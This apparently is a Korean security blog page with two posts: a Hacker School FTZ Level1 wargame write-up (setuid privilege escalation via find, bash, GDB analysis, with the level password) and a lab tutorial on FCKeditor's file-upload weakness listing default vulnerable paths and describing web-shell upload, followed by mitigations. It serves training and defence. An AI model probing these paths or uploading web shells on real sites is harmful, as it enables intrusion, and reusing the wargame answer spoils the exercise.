파일을 실행할 때 사용자의 UID를 사용하는 것이 아니라 파일의 inode 정보로부터 파일 소유자의 UID를 받아서 실행합니다. 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가를 찾는 명령어는 find 입니다.

하지만 우리가 찾는 파일은 setuid가 걸린 파일이므로 -perm 옵션과 -user 옵션을 사용합니다.

옵션1  :  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2  :  -user level2    -->  level2 or level1의 권한

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

 

 

하지만 오류가 많이 떠서 한번에 식별하기가 어렵습니다.

검색 결과 중에서 에러가 발생한 결과를 제외하는 옵션 2> /dev/null을 사용해줍니다.

여기서 숫자 2는 표준에러(STDERR)를 뜻하고, /dev/null은 휴지통을 뜻합니다. (에러를 휴지통에 슝~)

해당 옵션을 사용한 결과는 아래와 같습니다.

 

파일의 허가권(Permission)과 소유권(Ownership)을 살펴보면 주목해야할 점이 있습니다.

1) 허가권 : SUID가 설정되어 있으므로 해당 파일을 실행하면 파일의 소유자 권한으로 실행됩니다 --> -rwsr-x---

2) 소유권 : 그룹 Level1이 해당 파일을 소유하므로 Level1인 우리도 저 파일을 실행시킬 수 있습니다. -rwsr-x--- 1 level2 level1

정리하면, 우리는 저파일을 실행시킬 수 있으며 실행시킬경우 Level2의 권한으로 실행할 수 있다는 점입니다.

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

 

my-pass와 chmod는 제외하라고 되어 있으므로, bash 명령어로 Level2의 권한을 획득합니다.

그럼 1회성 권한이 아닌, 지속적인 Level2 권한으로 원하는 행위를 할 수 있습니다.

FTZ에서 제공하는 my-pass명령어를 이용하여 Level2의 암호를 알아냅니다.

답 : hacker or cracker

 

 

Tip. PERM의 플러스(+), 마이너스(-) 차이

find 명령어의 perm 옵션에 달린 플러스(+)와 마이너스(-)의 차이는

입력하는 숫자에 해당하는 퍼미션을 완벽하게 만족하느냐? 아니면 일부만 만족해도 되느냐? 입니다.

이해하기 어려우니 해커스쿨에 있는 글에 따라 저도 테스트해보았습니다.

먼저 아래와 같이 touch 명령어를 이용하여 7개의 파일을 만듭니다.

그리고 ls -al 명령어로 퍼미션을 확인합니다.

 

이후 마이너스(-) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 해당하는 wx(쓰기, 실행) 권한이 모두 설정되어 있는 파일만 검색이 되었습니다.

한마디로 깐깐한 검색이 되겠죠.

 

이후 플러스(+) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 걸려있는 w(쓰기), x(실행) 권한중 한개라도 설정되어 있으면 검색이 됩니다.

한마디로 너그러운(?) 검색이 되겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

원래 bash쉘을 획득하여 my-pass를 알아내면 다음 단계로 넘어가지만,

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

system 함수로 명령어를 실행

chdir 함수로 디렉터리를 이동

printf 함수로 문자열을 출력

fgets 함수를 이용한 사용자 입력

strstr 함수를 이용하여 금지문자열과 입력 받은 사용자 문자열 비교 : my-pass, chmod

금지명령어가 아닌경우 실행 루틴으로 이동

setreuid(3002, 3002) 함수를 이용해 실행되는 파일의 User ID 권한을 Level2 계정으로 설정

system 함수를 이용해서 입력받은 문자열을 리눅스의 명령어로 실행

 

 

3) 주요 함수 분석

① printf

disas main 명령어를 이용하여 아래로 내려가다 보면 printf 함수가 많이 나옵니다.

내용은 아까 우리가 보았던 "레벨 2의권한으로 당신이 원하는...." 을 화면에 찍는 용도입니다.

마지막 printf 함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

아래와 같이 level2의 쉘처럼 "[level2@ftz level2]$" 를 프린트 하는것을 볼 수 있습니다.

한마디로 실제 쉘이 아니라, 프로그램이 의도적으로 printf 한 내용이라는 것을 알 수 있습니다.

 

setreuid + system

프로그램의 마지막 부분을 보면 setreuid와 system 함수를 볼 수 있습니다.

setreuid 함수에 들어가는 인자값은 UID와 GID값이고, 둘다 0xbba(3002) 입니다.

 

3002는 Level2의 UID값입니다. 참고로 Level1은 3001입니다.

해당사항은 id명령어나 /etc/password 를 확인하면 알 수 있습니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

 

4) 결과정리

정리하면, setreuid 함수를 이용하여 Level2의 권한을 획득한 뒤, 

뒤에 따라나오는 system 함수를 실행하는 것이 프로그램의 주요 기능입니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
posted by Red_Message
2016. 4. 20. 19:19 :: 취약점

안녕하세요 Message입니다.

실습환경은 Windows7 / APM / Chrome 입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. FCKeditor란?

------------------------------------------------------------------------------------------------------------------------------------------

FCKeditor는 게시판 에디터입니다.

거의 모든 브라우저에서 사용 가능한 에디터로서, 글작성 / html편집 /표삽입 등이 가능합니다.

현재 FCKeditor는 3.x 대로 업그레이드 되면서 CKeditor로 변경되었으나,

아직 많은 곳에서 FCKeditor를 사용하고 있습니다.

공식사이트 : http://ckeditor.com

FCkeditor 2.6.11 Ver : http://sourceforge.net/projects/fckeditor/files/

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 취약점 발생 원인

------------------------------------------------------------------------------------------------------------------------------------------

취약점이 발생하는 이유는 FCKeditor에서 제공되는 페이지관리 또는 파일업로드 기능때문입니다.

해당 기능을 사용할 수 있는 페이지에 적절한 보안조치가 이루어지지 않으면

웹쉘이 업로드되거나 홈페이지의 많은 정보가 노출될 수 있습니다.

 

아래 그림은 FCKeditor 2.6.11 버전의 기본 경로입니다.

아래처럼 connectors 폴더의 test.html 파일이나, browser\default폴더의 browser.html 파일등이 

관리되지 않고 그대로 유지되거나, 또는 파일명이 변경되지 않고 웹서버에 올라갈 경우

웹쉘을 업로드하고, 웹서버를 탐색하는 용도로 사용될 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 간단실습

------------------------------------------------------------------------------------------------------------------------------------------

1) APMSETUP or 웹서버

APMSETUP을 이용하여 실습환경을 구성했습니다. (설치방법은 매우 간단하니 생략)

Visual Studio 등으로 웹어플리케이션 프로젝트 생성도 무방할 것 같으나,

제 PC에 이미 APM이 설치되어 있어서 빠른 결정....^^;

설치후 정상동작을 확인해줍니다.

 

2) 웹서버에 FCKeditor 설치

상단의 FCKeditor 2.6.11을 다운로드 후

C:\APM_Setup\htdocs\fckeditor 경로에 압축을 풀어줍니다.

압축해제 후 C:\APM_Setup\htdocs\fckeditor\_samples\default.html 페이지에 접속하여 아래와 같은 창이 뜨면 성공입니다.

 

3) 업로드 페이지 접속

fckeditor/editor/filemanager/connectors/test.html에 접속하면

파일을 업로드할 수 있는 아래와 같은 페이지가 뜨게됩니다.

Connector를 PHP로 변경해주고, 파일선택 후에 업로드를 시도해봅니다.

보안설정 때문에 아마 정상동작하지 않을겁니다.

 

4) 설정변경

파일업로드를 시도하면 아래와 같은 보안설정 오류가 발생합니다.

실습을 위해서 fckeditor\editor\filemanager\connectors\php\config.php 파일의 설정을 변경해야 합니다. (+삽질지수 증가)

 

아래와 같이 설정을 Config['Enabled'] 설정을 false에서 true로 바꿔줍니다.

 

하지만 이후에도, 아래와 같은 오류창이 발생합니다.

파일확장자에 대한 제한이 걸려 있어서 발생하는 오류입니다.

 

파일확장자를 jpg 등으로 우회해서 올리거나

아래와 같이 HTML확장자 제한과 관련된 Config['HtmlExtensions'] 옵션과

파일확장자 제한과 관련된 Config['AllowedExtensions']['File'] 옵션에 html 확장자를 추가해줍니다.

 

 이후에는 아래와 같이 정상적으로 파일이 업로드 되는 것을 확인할 수 있습니다.

 

파일이 업로드 되는 경로는 Config['UserFilesPath'] 옵션에 적혀 있는 경로입니다.

따로 변경하지 않을 경우 아래와 같이 htdocs/userfile/ 경로에 파일이나 폴더가 생성됩니다.

 

5) 웹쉘업로드

파일업로드가 정상적으로 된다면, 아래와같이 웹쉘이 업로드되어 홈페이지의 정보가 유출될 수 있습니다.

웹쉘은 구글링을 하시면 쉽게 얻으실 수 있습니다.

 

6) 기타 취약한 경로들

버전이나 홈페이지마다 다를 수 있지만, 취약한 기본적인 경로는 아래와 같습니다.

- /FCKeditor/editor/filemanager/browser/default/connectors/test.html

- /FCKeditor/editor/filemanager/browser/default/browser.html

- /FCKeditor/editor/filemanager/upload/test.html

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 대응방안

------------------------------------------------------------------------------------------------------------------------------------------

1) 샘플파일 또는 테스트파일을 삭제하거나 관리자 외 접근할 수 없도록 접근제어 방안을 마련합니다.

2) 서버에서 파일의 실행권한을 제거합니다.

3) IPS와 같은 보안솔루션을 이용하여 파일업로드 또는 웹쉘 업로드를 차단합니다.

 

 

마무리

FCK취약점으로 실제 어떻게 파일이 업로드 되는지 실습해보고자

환경을 구축하고 웹쉘을 업로드 해보았습니다.

읽어주셔서 감사합니다.

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

posted by Red_Message